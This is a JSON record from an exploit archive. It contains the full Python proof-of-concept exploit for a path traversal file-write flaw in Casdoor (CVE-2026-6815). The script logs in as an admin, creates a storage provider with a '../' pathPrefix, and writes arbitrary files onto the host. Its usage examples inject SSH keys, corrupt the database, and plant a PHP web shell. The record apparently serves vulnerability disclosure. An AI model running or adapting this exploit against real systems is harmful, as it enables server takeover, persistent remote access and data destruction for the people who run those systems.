{"exploit":{"id":"EDB-52584","name":"Casdoor 3.54.1 - 'pathPrefix' Authenticated Arbitrary File Write via Directory Traversal","description":"Casdoor 3.54.1 - 'pathPrefix' Authenticated Arbitrary File Write via Directory Traversal","cves":["CVE-2026-6815"],"author":"sixpain","published":"2026-05-27","platform":"go","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52584","path":"exploits/go/webapps/52584.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52584.py","vulnerabilities":[{"id":"CVE-2026-6815","state":"PUBLISHED","title":"CVE-2026-6815","titleSource":"CVE Program","description":"An arbitrary file write vulnerability exists in Casdoor's Local File System storage provider. Due to insufficient path sanitization, an authenticated attacker with administrative privileges can perform a Path Traversal attack to create or overwrite arbitrary files anywhere on the host filesystem, bypassing the application's intended storage sandbox.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-6815","cvss":{"version":"3.1","baseScore":5.9,"severity":"medium","vectorString":"CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-6815"},"updatedAt":"2026-05-13T12:33:15.243Z","retrievedAt":"2026-11-25T16:15:50.232Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52584.png?v=2","url":"https://exploitbin.com/exploits/EDB-52584","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52584/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52584/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: Casdoor 3.54.1 - Arbitrary File Write via Path Traversal\n# Date: 2026-05-11\n# Exploit Author: sixpain\n# Vendor Homepage: https://casdoor.org/\n# Software Link: https://github.com/casdoor/casdoor\n# Version: < 3.54.1\n# Tested on: Linux / Docker\n# CVE : CVE-2026-6815\n\n\"\"\"\nCasdoor Arbitrary File Write / Path Traversal PoC (CVE-2026-6815)\n================================================\n\nDESCRIPTION:\nThis script exploits a Path Traversal vulnerability in the storage provider\nmanagement component of Casdoor. By creating a 'Local File System' provider\nwith a manipulated 'pathPrefix', an authenticated administrator can bypass\nthe storage sandbox to write, overwrite, or delete arbitrary files on the\nunderlying host filesystem.\n\nIMPACT:\n- Remote Code Execution (RCE) via SSH key injection or web shell upload.\n- Persistent Denial of Service (DoS) by corrupting core application binaries\n  or database files (e.g., casdoor.db).\n\nUSAGE EXAMPLES:\n1. SSH Key Injection for RCE:\n   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file id_rsa.pub --rpath /home/casdoor/.ssh/authorized_keys\n\n2. Persistent DoS (Database Corruption):\n   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file dummy.txt --rpath /app/casdoor.db\n\n3. Reverse Shell (via secondary web server webroot):\n   python3 poc.py --url http://target:8000 --usr admin --psw 123 --file shell.php --rpath /var/www/html/shell.php\n\nTROUBLESHOOTING & TECHNICAL NOTES:\n- APP & ORG CONTEXT: By default, the script targets the 'app-built-in' application\n  and 'built-in' organization. If you have credentials for custom\n  namespaces, specify them using the --appname and --orgname flags.\n- FILE OVERWRITE BEHAVIOR: Successful overwriting occurs only once per unique\n  remote path. Casdoor's resource management logic prevents direct subsequent\n  overwrites by appending increments (e.g., file-1.ext, file-2.ext) to the\n  resource name if the entry already exists in the application's internal\n  database. To re-exploit the same path, the specific resource entry must\n  usually be deleted via the UI/API or a different provider name must be used.\n- PERMISSIONS: Exploitation success is dependent on the OS-level permissions\n  of the user account running the Casdoor service.\n- VERBOSE MODE: Use -v or --verbose to inspect raw API requests and responses.\n\nDISCLAIMER:\nThis tool is for educational and coordinated disclosure purposes only.\nUnauthorized testing against systems you do not own is illegal.\n\"\"\"\n\n\nimport argparse\nimport requests\nimport json\nimport os\n\ndef log_request(response, verbose):\n    \"\"\"Prints request and response details if verbose mode is enabled.\"\"\"\n    if verbose:\n        print(\"\\n\" + \"=\"*50)\n        print(f\"DEBUG - REQUEST: {response.request.method} {response.request.url}\")\n        print(f\"HEADERS: {json.dumps(dict(response.request.headers), indent=2)}\")\n        if response.request.body:\n            # Handle potential bytes body for multipart\n            body = response.request.body\n            if isinstance(body, bytes):\n                print(f\"BODY: <binary data, length {len(body)}>\")\n            else:\n                print(f\"BODY: {body}\")\n        print(\"-\" * 50)\n        print(f\"DEBUG - RESPONSE: {response.status_code}\")\n        print(f\"HEADERS: {json.dumps(dict(response.headers), indent=2)}\")\n        try:\n            print(f\"JSON BODY: {json.dumps(response.json(), indent=2)}\")\n        except:\n            print(f\"RAW BODY: {response.text[:500]}...\")\n        print(\"=\"*50 + \"\\n\")\n\ndef run_poc():\n    parser = argparse.ArgumentParser(description=\"Casdoor Path Traversal Exploitation PoC\")\n    parser.add_argument(\"--url\", required=True, help=\"Target base URL (e.g., http://casdoor:8000)\")\n    parser.add_argument(\"--usr\", default=\"admin\", help=\"Login username\")\n    parser.add_argument(\"--psw\", default=\"123\", help=\"Login password\")\n    parser.add_argument(\"--file\", required=True, help=\"Local file to upload\")\n    parser.add_argument(\"--rpath\", required=True, help=\"Absolute remote path (e.g., /tmp/pwned.txt)\")\n    parser.add_argument(\"--appname\", default='app-built-in', help=\"Target Casdoor Application Name\")\n    parser.add_argument(\"--orgname\", default='built-in', help=\"Target Casdoor Organization Name\")\n    parser.add_argument(\"-v\", \"--verbose\", action=\"store_true\", help=\"Enable verbose logging\")\n\n    args = parser.parse_args()\n\n    # Sanitize and validate URL schema\n    target_url = args.url.strip().rstrip('/')\n    if not target_url.startswith(('http://', 'https://')):\n        print(\"[!] No protocol specified. Defaulting to http://\")\n        target_url = f\"http://{target_url}\"\n\n    session = requests.Session()\n\n    # Setting common user agent\n    session.headers.update({\n        \"User-Agent\": \"Mozilla/5.0 (X11; Linux x86_64; rv:140.0) Gecko/20100101 Firefox/140.0\"\n    })\n\n    # --- STEP 1: INITIAL SESSION ---\n    print(f\"[*] Step 1: Retrieving initial session cookie...\")\n    try:\n        r1 = session.get(f\"{target_url}/login/built-in\")\n        log_request(r1, args.verbose)\n\n        if \"casdoor_session_id\" not in session.cookies:\n            print(\"[-] Error: Failed to retrieve casdoor_session_id.\")\n            return\n        print(f\"[+] Session ID obtained: {session.cookies.get('casdoor_session_id')}\")\n\n        # --- STEP 2: LOGIN / PRIVILEGE ESCALATION ---\n        print(f\"[*] Step 2: Logging in as {args.usr}...\")\n        login_payload = {\n            \"application\": args.appname,\n            \"organization\": args.orgname,\n            \"username\": args.usr,\n            \"password\": args.psw,\n            \"autoSignin\": True,\n            \"signinMethod\": \"Password\",\n            \"type\": \"login\"\n        }\n\n        r2 = session.post(\n            f\"{target_url}/api/login\",\n            data=json.dumps(login_payload),\n            headers={\"Content-Type\": \"text/plain;charset=UTF-8\"}\n        )\n        log_request(r2, args.verbose)\n\n        login_res = r2.json()\n        if login_res.get(\"status\") == \"ok\" and 'admin' in login_res.get(\"data\").lower():\n            print(\"[+] Login successful. Admin privileges confirmed.\")\n        else:\n            print(\"[!] Warning: Not an admin or login failed. Attempting to proceed anyway...\")\n\n        # --- STEP 2.5: VERSION CHECK ---\n        print(f\"[*] Step 2.5: Checking Casdoor version...\")\n        try:\n            r_version = session.get(f\"{target_url}/api/get-version-info\")\n            log_request(r_version, args.verbose)\n            if r_version.status_code == 200:\n                version_data = r_version.json().get(\"data\", {})\n                if not version_data:\n                     # Some versions might return data directly or in different format\n                     version_data = r_version.json()\n\n                version = version_data.get(\"version\", \"unknown\")\n                print(f\"[+] Target Casdoor version: {version}\")\n\n                # Check if version is patched (>= 3.54.1)\n                is_vulnerable = True\n                if version != \"unknown\" and version != \"dev\":\n                    try:\n                        v_clean = version.lstrip('v').split('-')[0]\n                        v_parts = [int(p) for p in v_clean.split('.')]\n                        if v_parts >= [3, 54, 1]:\n                            is_vulnerable = False\n                    except:\n                        pass # Parsing error, assume vulnerable or let user decide\n\n                if not is_vulnerable:\n                    print(f\"[!] WARNING: Target version {version} is likely PATCHED (>= 3.54.1) and this PoC will not work.\")\n                    choice = input(\"[?] Do you want to continue anyway? (y/N): \").lower()\n                    if choice != 'y':\n                        print(\"[-] Aborting.\")\n                        return\n            else:\n                print(\"[!] Warning: Could not retrieve version info (Status: {}).\".format(r_version.status_code))\n        except Exception as e:\n            print(f\"[!] Error during version check: {e}\")\n\n\n        # --- STEP 3: CREATE MALICIOUS STORAGE PROVIDER ---\n        print(\"[*] Step 3: Creating Path Traversal Provider...\")\n        provider_payload = {\n            \"owner\": \"admin\",\n            \"name\": \"path_traversal\",\n            \"createdTime\": \"2026-02-20T17:59:58+01:00\",\n            \"displayName\": \"Path Traversal Provider\",\n            \"category\": \"Storage\",\n            \"type\": \"Local File System\",\n            \"method\": \"Normal\",\n            \"pathPrefix\": \"../../../../../../../../../\"\n        }\n\n        r3 = session.post(\n            f\"{target_url}/api/add-provider\",\n            data=json.dumps(provider_payload),\n            headers={\"Content-Type\": \"text/plain;charset=UTF-8\"}\n        )\n        log_request(r3, args.verbose)\n\n        prov_res = r3.json()\n        msg = prov_res.get(\"msg\", \"\")\n        if prov_res.get(\"status\") == \"ok\":\n            print(\"[+] Malicious provider created successfully.\")\n        elif \"UNIQUE constraint failed\" in msg:\n            print(\"[*] Provider 'path_traversal' already exists. Reusing it.\")\n        else:\n            print(f\"[-] Failed to create provider: {msg}\")\n            if \"pathPrefix\" in msg and \"is not allowed\" in msg:\n                print(f\"[!] Escape sequence is sanitized. Check Casdoor version < 3.54.1 (CVE-2026-6815 is likely fixed).\")\n            return\n\n        # --- STEP 4: FILE UPLOAD (EXPLOITATION) ---\n        print(f\"[*] Step 4: Uploading {args.file} to {args.rpath}...\")\n        upload_params = {\n            \"owner\": args.orgname,\n            \"user\": args.usr,\n            \"application\": args.appname,\n            \"tag\": \"custom\",\n            \"parent\": \"ResourceListPage\",\n            \"fullFilePath\": args.rpath,\n            \"provider\": \"path_traversal\"\n        }\n\n        if not os.path.exists(args.file):\n            print(f\"[-] Error: Local file {args.file} not found.\")\n            return\n\n        with open(args.file, 'rb') as f:\n            # Note: headers are handled automatically by requests for multipart/form-data\n            files = {'file': (os.path.basename(args.file), f, 'application/octet-stream')}\n            r4 = session.post(f\"{target_url}/api/upload-resource\", params=upload_params, files=files)\n            log_request(r4, args.verbose)\n\n            upload_res = r4.json()\n\n        if upload_res.get(\"status\") == \"ok\":\n            print(\"\\n\" + \"!\"*25)\n            print(\" EXPLOIT SUCCESSFUL\")\n            print(\"!\"*25 + \"\\n\")\n\n            print(f\"Response Path\")\n            print(25*'-')\n            print(f'\\t-data : {upload_res.get('data')}')\n            print(f'\\t-data2: {upload_res.get('data2')}')\n            print(f'\\t-data3: {upload_res.get('data3')}')\n            print(25*'-')\n\n        else:\n                print(f\"[-] Upload failed: {upload_res.get('msg')}\")\n\n    except Exception as e:\n        print(f\"[-] An unexpected error occurred: {e}\")\n\nif __name__ == \"__main__\":\n    run_poc()","sha256":"8e825215838c37a3fdb0255af1d2f8f79a2a532c3586b3ecc8712478280f19ba","bytes":10877,"fetchedAt":"2026-11-26T11:05:33.000Z","encoding":"utf-8 (display only; download retains original bytes)"}